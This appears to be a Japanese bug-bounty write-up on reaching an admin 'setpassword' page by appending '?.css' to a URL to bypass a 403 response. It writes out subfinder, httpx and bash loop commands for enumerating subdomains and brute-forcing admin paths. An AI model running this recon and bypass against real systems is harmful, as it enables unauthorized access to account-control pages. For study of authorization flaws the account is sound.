Hello there, ('ω')ノ
403Forbiddenをバイパスすることで管理者のsetpasswordページへの不正アクセスを。
脆弱性:
承認の欠陥
記事:
403 Forbiddenをバイパスするだけで、
管理者のsetpasswordページにアクセスできた方法について。
搾取に使用されるツール:
1. Subfinder (https://github.com/projectdiscovery/subfinder)
2. httpx (https://github.com/projectdiscovery/httpx)
すべてのサブドメインを収集して。
すべてのドメインを解決するための偵察を行っているときに。
ディレクトリブルートフォースなしで公開されたadminとsetpasswordの。
ダッシュボードを探したいので。
ファイルとディレクトリのワードリストパスをURLに追加して。
公開されている管理パネルがあるかどうかを確認することに。
まずは、すべてのサブドメインを収集するためにsubfinderを。
subfinder -d target.com -silent
すべてのサブドメインを収集した後に。
すべてのドメインに「/admin」と「/setpassword」を追加して。
公開されている管理パネルと管理者のsetpasswordダッシュボードを確認すると。
subfinder -d target.com -silent | sed ‘s/$/\/admin/’
subfinder -d target.com -silent | sed ‘s/$/\/setpassword/’
ターゲットは非常に大きく、ドメインが30k以上あるので。
1つずつ確認するのは非常に時間がかかるため、これらを簡単にするために。
「-title」、「-status-code」、「-content-length」のオプションで絞り込むことに。
subfinder -d target.com -silent | sed ‘s/$/\/admin/’ | httpx -title -status-code -content-length
しかしながら、管理者のダッシュボードは公開されておらず。
さらにhttpxのすべての出力で、すべての404ステータスに。
ステータス302とcontent-length:111のURLがあったことに気付いたものの成功せず。
しかし、subfinderとhttpxを使用して。
ファイルとディレクトリを同時にブルートフォース攻撃しない理由を考えていると。
bashを使用することを思いついてテストすることに。
まずは、拡張子がjspのファイルとディレクトリを出力する簡単な動作テストから。
for word in $(echo test); do echo “$file” | xargs -I% sh -c ‘echo “example.com” | httpx -silent -path /%/%.jsp -title -status-code -content-length’ ;done
出力:
https://example.com/test/test.jsp
次にexample.com全体をスキャンして、ワードリストと拡張子を検索することに。
for files in $(cat wordlist.txt); do echo “$files” | xargs -I% sh -c ‘subfinder -d target.com -silent | httpx -silent -path /%/%.jsp -title -status-code -content-length’ ;done
コマンドを実行すると、ステータスコード403 Foriddenエラーが発生して。
https://devadmin.target.com/admin/setpassword.jsp
グーグルを実行した後、URLの末尾に「.css」を追加すると。
403をバイパスできる投稿に出くわしたので。
「.css」を追加してURLを開くと、管理者のsetpasswordページが確認できて。
これが管理ダッシュボードにアクセスするためのアプローチで。
https://devadmin.target.com/admin/setpassword.jsp?.css
Best regards, (^^ゞ